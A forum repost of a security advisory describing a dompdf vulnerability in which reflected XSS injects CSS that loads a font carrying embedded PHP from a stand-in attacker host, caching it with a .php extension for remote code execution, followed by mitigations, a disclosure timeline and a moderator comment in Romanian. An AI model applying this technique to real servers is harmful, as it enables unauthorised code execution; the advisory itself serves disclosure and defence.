Jump to content
Nytro

From XSS to RCE (dompdf 0day)

Recommended Posts

From XSS to RCE (dompdf 0day)

622a16a6fe8ba07ec2a8b52c_dompdf_rce_cove
 

 

  • The popular PHP library dompdf (used for rendering PDFs from HTML) suffers from a vulnerability that allows Remote Code Execution in certain configurations
  • By injecting CSS into the data processed by dompdf, it can be tricked into storing a malicious font with a .php file extension in its font cache, which can later be executed by accessing it from the web
  • We reported the vulnerability to dompdf on October 5th 2021. Since no patch is available yet, we are now publishing details about the vulnerability to inform the public about the risk and possible workarounds

Introduction

During a client engagement last year, we were faced with a website that seemed fairly impenetrable at first glance, due to its largely static nature:

622a10bc39563c8baaad827e_example_page.pn
Target website (for the purposes of this article, we created a simple demo application that behaves similarly to the client’s website in the relevant aspects)

 

While investigating the site, we did manage to find a reflected Cross-Site Scripting (XSS) issue:

622a10c5a3155c5f7480f47c_example_page_xs

 

Seeing as the site did not store any sensitive information in clients’ browsers (such as authentication cookies), this in itself was a finding of low severity.

At some point however, an interesting feature caught our eye. The site offered the option to export some of its pages in PDF form:

622a10ceb18bd4dbc18cb40e_example_page_ex
Interesting feature: Exporting the website as a PDF, rendered on the server

 

Promptly, the reflected XSS became a lot more interesting, because it let us control the input to the server-side PDF generator as well:

622a10e0f56f0b0d3950df9f_example_page_ex
Website with injected HTML in the title, rendered as PDF on the server

 

Though it wasn’t possible to inject JavaScript that the PDF renderer would interpret, we were able to inject arbitrary HTML (as shown above with the ‘In PDF’ title in italics).

Running pdfinfo on the exported PDF told us which library was responsible for the PDF rendering on the server:

622a10ee83f033c04120922f_pdfinfo.png
Output of pdfinfo showing the PDF renderer used in the back-end

 

We thus knew which HTML-to-PDF converter was used in the back-end (dompdf), and at which version.

(Note that the version actually in use on the client’s server was v0.8.5, but since the exploit path we will show here still works the same on the newest version v1.2.0, we will be using this version for the purpose of the article. At the time of disclosure, there are no known vulnerabilities for either version 0.8.5 or 1.2.0.)

Looking for a vulnerability

At this point, we shifted our attention to dompdf’s source code, to see if we might be able to find a vulnerability that could get us further access to the server.

The first thing that caught our eye was the option to execute embedded PHP during PDF rendering, which, if enabled, would have made our job quite easy:

 

/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within  ...  tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isPhpEnabled = false;

 

However, this feature turned out to be disabled. (Note: If you are running dompdf on your server, you probably want to ensure this feature is turned off. The official guide for ‘Securing dompdf’ concurs.)

The next interesting setting concerned the loading of remote resources:

 

/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isRemoteEnabled = false;

 

To check for the state of this setting, we used the XSS to include an external stylesheet (shrinking the image and setting its background to light grey for testing purposes):

622a10ff456ede2f544ad5e7_pdf_with_inject

 

We could thus confirm that the setting was enabled, and could proceed with figuring out what this allowed us to do.

First possibility: The font cache index

When $isRemoteEnabled is set (or on versions ≤ 0.8.5, regardless of this setting), dompdf allows loading custom fonts through font-face CSS rules such as the following:

 

@font-face {
   font-family:'TestFont';
   src:url('http://attacker.local/test_font.ttf');
   font-weight:'normal';
   font-style:'normal';
 }

 

When an external font is used, dompdf caches it locally in the /lib/fonts sub-directory, and adds a corresponding entry in dompdf_font_family_cache.php using saveFontFamilies(). This function encodes the fonts known to dompdf as a PHP array, together with the information needed to look them up later.

From a log file we found elsewhere on the system, we already suspected that dompdf was stored in a directory accessible from the web-root, and indeed the lack of an error message when attempting to access the font cache index seemed to indicate the same:

622a121b1d2effe35336a201_font_cache_blan
Attempting to access the font cache index directly: Blank page instead of an error message

 

Since this means a PHP file we can access externally is generated based on input controlled by us, it seemed a worthwhile avenue to explore for potential vulnerabilities.

However, the only parameter we had direct influence over (the $family) was escaped sufficiently using addslashes() to make exploitation impossible. We therefore had to keep looking further - though not very far.

Next step: The font cache

If we can’t use the font cache index… can we use the font cache directly?

Let’s see how dompdf registers new fonts (shown here in condensed form for the sake of clarity):

 

/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
   $fontname = mb_strtolower($style["family"]);
   $styleString = $this->getType("{$style['weight']} {$style['style']}");

   $fontDir = $this->options->getFontDir();
   $remoteHash = md5($remoteFile);

   $prefix = $fontname . "_" . $styleString;
   $prefix = preg_replace("[\\W]", "_", $prefix);
   $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);

   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));

   // Download the remote file
   list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);

   $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
   file_put_contents($localTempFile, $remoteFileContent);

   $font = Font::load($localTempFile);

   if (!$font) {
       unlink($localTempFile);
       return false;
   }

   $font->parse();
   $font->close();

   unlink($localTempFile);

   // Save the changes
   file_put_contents($localFile, $remoteFileContent);
   $this->saveFontFamilies();

   return true;
}

 

There’s a few things this code snippet tells us:

  1. The filename of a newly cached font is deterministic and based on information we have, namely the font’s name, the chosen style and a hash of its remote URL (line 9-19). The test-font from above with URL http://attacker.local/test_font.ttf and weight/style “normal” would e.g. get stored as testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
  2. Though care is taken to prevent the possibility of a path traversal vulnerability (by removing potentially dangerous characters in line 16 and 17), the font’s original file extension is kept
  3. The font needs to be valid in the sense that it has to survive loading and parsing by php-font-lib (lines 28 and 35)

When inspecting php-font-lib’s source code, it quickly became apparent that this library only checks a font’s internal consistency, based on its file headers, and completely ignores its file extension. So what happens if we take a valid .ttf font, add a <?php phpinfo(); ?> in its Copyright section, store it as 'exploit_font.php' and include it via an injected CSS file? Well…

622a111934d9935a697a249f_get_font_rce.pn
phpinfo() is executed on the victim server when accessing the malicious font file (Side note: The redacted information was replaced by random noise before blurring)

 

We have published the demo application and exploit at github.com/positive-security/dompdf-rce.

Analysis

Security vulnerabilities often occur due to (design) decisions made based on incorrect assumptions about underlying or interconnected components. For the concrete scenario we encountered, we could identify three decisions/assumptions that contributed significantly to the RCE vulnerability on the client’s server:

  1. “It should be okay to trust php-font-lib with checking fonts, since it will only accept fonts that are valid (and have the appropriate file extension)”: This assumption, made by the dompdf developers, turned out to be incorrect because php-font-lib’s concept of a valid font only required consistency between the font’s headers and its internal structure, irrespective of its file extension
  2. “It should be okay to have dompdf’s setting $isRemoteEnabled set to true, since the website itself is essentially static and we therefore control the input to the PDF renderer”: This assumption, made by our client, was broken by the reflected XSS vulnerability
  3. “It should be okay to have dompdf in an externally accessible sub-directory”: This action, though probably not performed consciously by our client but rather out of convenience, sadly turned out to be misguided

Though all three factors were necessary for the full exploit, they differ in respect to ‘preventability’.

The first decision, which led to the font vulnerability, was a mistake that (albeit unfortunate) can readily occur in any complex software project and is essentially impossible to avoid completely. The second decision increased the attack surface for our client, but was necessary to implement the intended functionality.

The third factor could be seen more critically however, since it directly contradicted the top-most point outlined in the guide for ‘Securing dompdf’, which has existed in this form since 2016. From a post-mortem perspective, it would therefore make sense to examine the workflow that resulted in this step being taken, as including an external library without properly assessing its security impact would have been the most easily preventable factor.

Impact

There are a number of use cases that require server-side generation of PDFs containing user-supplied input, such as ticket purchases, receipts/invoices or other automated emails from service providers, or even Corona test certificates. It is possible that some of these services are also affected, if the following preconditions are met:

  • dompdf is installed in a directory accessible through the web. This could for example easily happen if Composer was used to install the library somewhere inside the docroot without explicitly forbidding access to the vendor folder
  • PDFs are being generated using insufficiently sanitized user input. This could be caused through e.g. an XSS, as demonstrated here, or by directly passing user data to the back-end (such as the user’s name or address)
  • dompdf version ≤ 0.8.5 is being used, or $isRemoteEnabled is set to true. Note that versions ≤ 0.8.5 do not require $isRemoteEnabled to be set to be vulnerable, as they load certain remote elements (such as fonts) even with the setting deactivated

While we don't have installation numbers, GitHub metrics suggest dompdf to be the most popular option for generating PDFs from PHP:

Library Stars Forks Dependent Repos
dompdf 8.6k 1.6k 59.2k
snappy 4k 421 -
mpdf 3.5k 886 16.6k
tcpdf 3.2k 1.3k 14.5k
tc-lib-pdf 1.2k 180 85

 

Mitigation

Though there isn’t a patch for dompdf available yet, there are steps you can take to minimize your risk of being exposed to this vulnerability.

  1. Make sure dompdf is not installed in a web-accessible directory. This is the most important point, as it would completely prevent the exploit
  2. Double-check the input sanitization you perform before passing data to dompdf, to prevent attackers from injecting HTML/CSS. This is a good idea in any case, as there might be other vulnerabilities that can be triggered in similar ways
  3. Update dompdf to a recent version and turn off $isRemoteEnabled, if possible for your use case. Though the most recent version available at time of publishing this article (1.2.0) is still susceptible to the vulnerability, it does consult the $isRemoteEnabled setting before attempting to download fonts from remote locations (unlike versions ≤ 0.8.5, which simply ignore the setting in that context)
  4. And finally, keep an eye out for a dompdf patch that fixes this vulnerability and apply it once it is available. You could for example stay up-to-date by subscribing to dompdf’s release feed with an Atom reader of your choice

Timeline

2021-10-05 Vulnerability reported to security@dompdf.org (from SECURITY.md)
2021-10-08 Followed up on report
2021-10-12 Created a GitHub issue to draw attention to report
2021-10-13 Report acknowledged, issue tagged for “v2.0.0”
2021-11-16 Version 1.1.0 released, without fix
2021-11-24 Version 1.1.1 released, without fix
2022-01-03 90 days since initial report
2022-02-07 Version 1.2.0 released, without fix
2022-02-07 Asked developers for patching horizon and notified them of upcoming disclosure
2022-02-16 Follow-up email
2022-03-10 Follow-up email
2022-03-15 Received response from dompdf that they "can not provide a time frame for said [v2.0] update at this moment"
2022-03-16 Public disclosure

Conclusion

While investigating a client website, we discovered a vulnerability in the PDF rendering PHP library dompdf that allowed us to upload font files with a .php extension to the web server. To trigger it, we used an XSS vulnerability that allowed us to inject HTML into a web page before it was rendered as a PDF. Since dompdf was installed in a web-accessible directory (and we knew its location thanks to a leaked logfile), we could navigate to the uploaded .php script, giving us code execution on the server.

Versions ≤ 1.2.0 of dompdf that are located in a web-accessible directory and have $isRemoteEnabled activated should be considered vulnerable, as should be versions ≤ 0.8.5 even with $isRemoteEnabled set to false.

The exploit files and source code for the demo application are available on GitHub.

Follow us on Twitter (@positive_sec) to keep up to date with our posts.

 

Sursa: https://positive.security/blog/dompdf-rce

Link to comment
Share on other sites

  • Moderators

Trebuie sa se alinieze astrele ca sa poata fi folosita vulnerabilitatea. Mare parte din aplicatiile care genereaza PDF-uri iau totul din baza de date.

 

Singura chestie unde as vedea asta e intr-o aplicatie care iti pune semnatura pe un PDF existent generat tot prin dompdf, asta in cazul in care cine a facut aplicatia nu a stiut sa puna validare pe input, macar ceva de genul ^[a-zA-Z -]{6,50}$

 

O alternativa buna, folosita, testata la dompdf e tcpdf. Face minuni pe shared hosting.

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...